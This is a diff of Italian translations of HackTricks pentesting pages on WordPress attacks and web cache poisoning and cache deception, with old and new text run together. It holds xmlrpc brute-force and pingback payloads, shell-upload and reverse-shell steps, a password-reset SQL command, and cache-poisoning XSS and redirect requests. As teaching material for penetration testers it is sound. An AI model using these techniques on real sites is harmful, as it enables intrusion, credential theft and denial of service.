```bash ```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -110,16 +110,16 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Enumerazione attiva ## Enumerazione attiva
### Plugin e Temi ### Plugin e Temi
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai **forzare attivamente un elenco di Plugin e Temi** (fortunatamente ci sono strumenti automatizzati che contengono questi elenchi). Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai **forzare attivamente un elenco di Plugin e Temi** (per fortuna ci sono strumenti automatizzati che contengono questi elenchi).
### Utenti ### Utenti
@ -143,7 +143,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Saranno fornite informazioni solo sugli utenti che hanno questa funzionalità abilitata**. Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Saranno fornite informazioni solo sugli utenti che hanno questa funzionalità abilitata**.
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare gli indirizzi IP. Inoltre, nota che **/wp-json/wp/v2/pages** potrebbe rivelare gli indirizzi IP.
#### Enumerazione dei nomi utente per il login #### Enumerazione dei nomi utente per il login
@ -166,7 +166,7 @@ Per verificare se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia quest
**Bruteforce delle credenziali** **Bruteforce delle credenziali**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno, puoi inviare qualcosa del genere: **`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno qualsiasi, puoi inviare qualcosa del genere:
```markup ```markup
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -176,9 +176,9 @@ Per verificare se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia quest
</params> </params>
</methodCall> </methodCall>
``` ```
Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide. Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta codice 200 dovrebbe apparire se le credenziali non sono valide.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../.gitbook/assets/image (721).png>) ![](<../../.gitbook/assets/image (721).png>)
@ -212,18 +212,18 @@ Utilizzando le credenziali corrette è possibile caricare un file. Nella rispost
</params> </params>
</methodCall> </methodCall>
``` ```
Anche esiste un **modo più veloce** per forzare le credenziali usando **`system.multicall`** poiché è possibile provare diverse credenziali nella stessa richiesta: Anche c'è un **modo più veloce** per forzare le credenziali usando **`system.multicall`** poiché è possibile provare diverse credenziali nella stessa richiesta:
<figure><img src="../../.gitbook/assets/image (628).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (628).png" alt=""><figcaption></figcaption></figure>
**Eludere l'Autenticazione a Due Fattori (2FA)** **Bypass 2FA**
Questo metodo è pensato per i programmi e non per gli esseri umani, ed è obsoleto, quindi non supporta il 2FA. Quindi, se si dispongono di credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti riuscire ad abusare di xmlrpc.php per effettuare il login con tali credenziali eludendo il 2FA**. Si noti che non sarà possibile eseguire tutte le azioni che si possono fare tramite la console, ma potresti comunque riuscire ad ottenere l'esecuzione remota del codice come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) Questo metodo è pensato per i programmi e non per gli esseri umani, ed è obsoleto, quindi non supporta il 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto dal 2FA, **potresti riuscire ad abusare di xmlrpc.php per effettuare il login con quelle credenziali eludendo il 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire ad ottenere l'RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS o scansione delle porte** **DDoS o scansione delle porte**
Se riesci a trovare il metodo _**pingback.ping**_ nell'elenco, puoi fare in modo che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\ Se riesci a trovare il metodo _**pingback.ping**_ nell'elenco, puoi fare in modo che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
Questo può essere utilizzato per far sì che **migliaia** di **siti** Wordpress **accedano** a una **posizione** specifica (causando così un **DDoS** in quella posizione) oppure puoi usarlo per far che **Wordpress** **scansioni** una rete interna (puoi indicare qualsiasi porta). Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** specifica (causando così un **DDoS** in quella posizione) oppure puoi usarlo per fare in modo che **Wordpress** **scansioni** una rete interna (puoi indicare qualsiasi porta).
```markup ```markup
<methodCall> <methodCall>
<methodName>pingback.ping</methodName> <methodName>pingback.ping</methodName>
@ -253,7 +253,7 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
### wp-cron.php DoS ### wp-cron.php DoS
Questo file di solito si trova sotto la radice del sito Wordpress: **`/wp-cron.php`**\ Questo file di solito esiste sotto la radice del sito Wordpress: **`/wp-cron.php`**\
Quando questo file viene **accesso** viene eseguita una **query** MySQL "**pesante**, quindi potrebbe essere utilizzato dagli **attaccanti** per **causare** un **DoS**.\ Quando questo file viene **accesso** viene eseguita una **query** MySQL "**pesante**, quindi potrebbe essere utilizzato dagli **attaccanti** per **causare** un **DoS**.\
Inoltre, per impostazione predefinita, `wp-cron.php` viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una qualsiasi pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS). Inoltre, per impostazione predefinita, `wp-cron.php` viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una qualsiasi pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
@ -282,14 +282,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Ottieni l'accesso sovrascrivendo un bit ## Ottieni l'accesso sovrascrivendo un bit
Più che un vero attacco, si tratta di una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit da qualsiasi file di Wordpress. Quindi potevi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per annullare l'operazione NOT (`!`). Più che un vero attacco, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit da qualsiasi file di Wordpress. Quindi potevi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per annullare l'operazione NOT (`!`).
```php ```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error( return new WP_Error(
@ -300,7 +300,7 @@ return new WP_Error(
Aspetto → Editor del tema → Modello 404 (a destra) Aspetto → Editor del tema → Modello 404 (a destra)
Modifica il contenuto per inserire uno shell php: Modificare il contenuto per un php shell:
![](<../../.gitbook/assets/image (384).png>) ![](<../../.gitbook/assets/image (384).png>)
@ -308,22 +308,22 @@ Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso
### MSF ### MSF
Puoi utilizzare: Puoi usare:
``` ```
use exploit/unix/webapp/wp_admin_shell_upload use exploit/unix/webapp/wp_admin_shell_upload
``` ```
per ottenere una sessione.
## Plugin RCE ## Plugin RCE
### Plugin RCE ### Plugin PHP
### Plugin RCE
Potrebbe essere possibile caricare file .php come plugin.\ Potrebbe essere possibile caricare file .php come plugin.\
Crea il tuo backdoor php utilizzando ad esempio: Crea il tuo backdoor php utilizzando ad esempio:
![](<../../.gitbook/assets/image (183).png>) ![](<../../.gitbook/assets/image (183).png>)
Poi aggiungi un nuovo plugin: Quindi aggiungi un nuovo plugin:
![](<../../.gitbook/assets/image (722).png>) ![](<../../.gitbook/assets/image (722).png>)
@ -345,7 +345,7 @@ Accedici e vedrai l'URL per eseguire il reverse shell:
### Caricamento e attivazione di plugin dannosi ### Caricamento e attivazione di plugin dannosi
Questo metodo coinvolge l'installazione di un plugin dannoso noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso il dashboard di WordPress nel seguente modo: Questo metodo coinvolge l'installazione di un plugin dannoso noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso il dashboard di WordPress nel seguente modo:
1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374). 1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
2. **Installazione del Plugin**: 2. **Installazione del Plugin**:
@ -357,11 +357,11 @@ Questo metodo coinvolge l'installazione di un plugin dannoso noto per essere vul
* Il framework Metasploit fornisce uno sfruttamento per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo l'accesso non autorizzato al sito. * Il framework Metasploit fornisce uno sfruttamento per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo l'accesso non autorizzato al sito.
* Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress. * Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
Il contenuto include aiuti visivi che rappresentano i passaggi nel dashboard di WordPress per l'installazione e l'attivazione del plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale ed etico senza un'autorizzazione adeguata. Queste informazioni dovrebbero essere utilizzate in modo responsabile e solo in un contesto legale, come il penetration testing con esplicita autorizzazione. Il contenuto include aiuti visivi che rappresentano i passaggi nel dashboard di WordPress per l'installazione e l'attivazione del plugin. Tuttavia, è importante notare che sfruttare le vulnerabilità in questo modo è illegale ed anti-etico senza l'autorizzazione adeguata. Queste informazioni dovrebbero essere utilizzate in modo responsabile e solo in un contesto legale, come il penetration testing con autorizzazione esplicita.
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/) **Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Post Exploitation ## Post Esploitation
Estrai nomi utente e password: Estrai nomi utente e password:
```bash ```bash
@ -375,7 +375,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Aggiornamenti Regolari ### Aggiornamenti Regolari
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che gli aggiornamenti automatici siano abilitati in wp-config.php: Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
@ -393,28 +393,28 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
* Rimuovi l'utente **admin** predefinito * Rimuovi l'utente **admin** predefinito
* Utilizza **password sicure** e **2FA** * Utilizza **password sicure** e **2FA**
* Rivedi periodicamente le **autorizzazioni** degli utenti * Rivedi periodicamente i **permessi** degli utenti
* **Limita i tentativi di accesso** per prevenire attacchi di Forza Bruta * **Limita i tentativi di accesso** per prevenire attacchi di Forza Bruta
* Rinomina il file **`wp-admin.php`** e permetti l'accesso solo internamente o da determinati indirizzi IP. * Rinomina il file **`wp-admin.php`** e permetti l'accesso solo internamente o da determinati indirizzi IP.
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti comunitari più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per creare e **automatizzare flussi di lavoro** con gli strumenti comunitari più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -1,4 +1,4 @@
# Avvelenamento della Cache e Inganno della Cache # Cache Poisoning e Cache Deception
<details> <details>
@ -17,35 +17,35 @@ Altri modi per supportare HackTricks:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## La differenza ## La differenza
> **Qual è la differenza tra l'avvelenamento della cache web e l'inganno della cache web?** > **Qual è la differenza tra il web cache poisoning e il web cache deception?**
> >
> * Nel **avvelenamento della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione. > * Nel **web cache poisoning**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
> * Nell'**inganno della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache. > * Nel **web cache deception**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.
## Avvelenamento della Cache ## Cache Poisoning
L'avvelenamento della cache mira a manipolare la cache lato client per forzare i client a caricare risorse inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache. Il cache poisoning mira a manipolare la cache lato client per forzare i client a caricare risorse inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
L'esecuzione di un attacco di avvelenamento della cache comporta diversi passaggi: L'esecuzione di un attacco di cache poisoning coinvolge diversi passaggi:
1. **Identificazione degli Input Senza Chiave**: Questi sono parametri che, sebbene non siano necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache. 1. **Identificazione degli Input Senza Chiave**: Questi sono parametri che, sebbene non siano necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
2. **Sfruttamento degli Input Senza Chiave**: Dopo aver identificato gli input senza chiave, il passo successivo consiste nel capire come sfruttare questi parametri per modificare la risposta del server in modo vantaggioso per l'attaccante. 2. **Sfruttamento degli Input Senza Chiave**: Dopo aver identificato gli input senza chiave, il passo successivo consiste nel capire come sfruttare questi parametri per modificare la risposta del server in modo che benefici l'attaccante.
3. **Garantire che la Risposta Avvelenata sia Memorizzata nella Cache**: L'ultimo passo è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, ogni utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata. 3. **Garantire che la Risposta Avvelenata sia Memorizzata nella Cache**: Il passo finale è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, ogni utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata.
### Scoperta: Controllare gli header HTTP ### Scoperta: Controllare gli header HTTP
Di solito, quando una risposta è **memorizzata nella cache** ci sarà un **header che lo indica**, puoi controllare a quali header prestare attenzione in questo post: [**Header della Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). Di solito, quando una risposta è **memorizzata nella cache** ci sarà un **header che lo indica**, puoi controllare a quali header prestare attenzione in questo post: [**Header di cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Scoperta: Codici di errore di caching ### Scoperta: Codici di errore di caching
Se pensi che la risposta venga memorizzata in una cache, potresti provare a **inviare richieste con un header errato**, che dovrebbe ricevere un **codice di stato 400**. Quindi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS). Se pensi che la risposta sia memorizzata in una cache, potresti provare a **inviare richieste con un header errato**, che dovrebbe ricevere un **codice di stato 400**. Quindi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS).
Puoi trovare più opzioni in: Puoi trovare più opzioni in:
@ -63,24 +63,24 @@ Potresti utilizzare [**Param Miner**](https://portswigger.net/bappstore/17d2949a
``` ```
### Elicitare una risposta dannosa dal server back-end ### Elicitare una risposta dannosa dal server back-end
Con il parametro/header identificato, controlla come viene **sanificato** e **dove** viene **riflesso** o influisce sulla risposta dall'header. Puoi comunque abusarne (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...) Con il parametro/header identificato, controlla come viene **sanitizzato** e **dove** viene **riflesso** o influisce sulla risposta dall'header. Puoi sfruttarlo in qualche modo (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)
### Ottenere la risposta memorizzata nella cache ### Ottenere la risposta memorizzata nella cache
Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parametro**/**header** utilizzare e **come** abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di ottenere nella cache, potrebbe richiedere del tempo, potresti dover provare per diversi secondi.\ Una volta che hai **identificato** la **pagina** che può essere sfruttata, quale **parametro**/**header** utilizzare e **come** sfruttarlo, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di ottenere nella cache, potrebbe richiedere del tempo, potresti dover provare per diversi secondi.\
L'header **`X-Cache`** nella risposta potrebbe essere molto utile in quanto potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache.\ L'header **`X-Cache`** nella risposta potrebbe essere molto utile in quanto potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache.\
Anche l'header **`Cache-Control`** è interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà nuovamente memorizzata nella cache: `Cache-Control: public, max-age=1800`\ Anche l'header **`Cache-Control`** è interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà nuovamente memorizzata nella cache: `Cache-Control: public, max-age=1800`\
Un altro header interessante è **`Vary`**. Questo header viene spesso utilizzato per **indicare ulteriori header** che vengono considerati **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce l'`User-Agent` della vittima che sta mirando, può avvelenare la cache per gli utenti che utilizzano quel particolare `User-Agent`.\ Un altro header interessante è **`Vary`**. Questo header viene spesso utilizzato per **indicare header aggiuntivi** che vengono considerati **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce l'`User-Agent` della vittima che sta mirando, può avvelenare la cache per gli utenti che utilizzano quel particolare `User-Agent`.\
Un altro header correlato alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy. Un altro header correlato alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
Quando si memorizza una richiesta, fai **attenzione agli header che utilizzi** perché alcuni di essi potrebbero essere **utilizzati in modo inaspettato** come **chiave** e la **vittima dovrà utilizzare lo stesso header**. Testa sempre un Avvelenamento della Cache con **browser diversi** per verificare se funziona. Quando si memorizza una richiesta, **presta attenzione agli header che utilizzi** perché alcuni di essi potrebbero essere **utilizzati in modo inaspettato** come **chiave** e la **vittima dovrà utilizzare lo stesso header**. Testa sempre un Avvelenamento della Cache con **browser diversi** per verificare se funziona.
## Esempi di Sfruttamento ## Esempi di Sfruttamento
### Esempio più semplice ### Esempio più semplice
Un header come `X-Forwarded-For` viene riflesso nella risposta non sanificata.\ Un header come `X-Forwarded-For` viene riflesso nella risposta non sanificata.\
Puoi inviare un payload XSS di base e avvelenare la cache in modo che chiunque acceda alla pagina sarà vittima di XSS: Puoi inviare un payload XSS di base e avvelenare la cache in modo che chiunque acceda alla pagina sarà soggetto a un attacco XSS:
```markup ```markup
GET /en?region=uk HTTP/1.1 GET /en?region=uk HTTP/1.1
Host: innocent-website.com Host: innocent-website.com
@ -106,11 +106,11 @@ Nota che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste
### Avvelenamento della cache con attraversamento del percorso per rubare la chiave API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> ### Avvelenamento della cache con attraversamento del percorso per rubare la chiave API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Questa spiegazione**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) illustra come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché tutto ciò che corrisponde a `/share/*` verrà memorizzato nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web. [**Questo articolo spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché tutto ciò che corrisponde a `/share/*` verrà memorizzato nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
### Utilizzo di intestazioni multiple per sfruttare le vulnerabilità di avvelenamento della cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> ### Utilizzo di intestazioni multiple per sfruttare le vulnerabilità di avvelenamento della cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** inoltra tutte le **richieste HTTP** a **HTTPS** e utilizza l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina viene indirizzata dal reindirizzamento. A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** a HTTPS e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina viene puntata dal reindirizzamento.
```markup ```markup
GET /resources/js/tracking.js HTTP/1.1 GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -137,13 +137,13 @@ Content-Length: 22
report=innocent-victim report=innocent-victim
``` ```
### Camuffamento dei Parametri ### Inganno dei parametri
